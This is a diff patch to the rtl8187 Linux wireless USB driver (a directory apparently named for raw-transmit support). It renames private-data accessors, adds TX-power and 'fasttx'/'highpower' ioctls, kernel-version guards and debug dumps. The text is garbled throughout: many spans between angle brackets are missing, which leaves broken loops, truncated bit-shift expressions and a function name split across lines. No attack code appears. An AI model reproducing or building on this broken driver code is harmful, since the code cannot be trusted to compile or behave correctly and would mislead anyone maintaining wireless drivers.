r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +459,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +490,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +498,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +518,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +568,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +606,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +624,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +654,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +692,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +744,55 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "highpower" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + + { + SIOCIWFIRSTPRIV + 0x3, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_highpower, /*SIOCIWSECONDPRIV*/ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +805,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-02-15 00:37:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 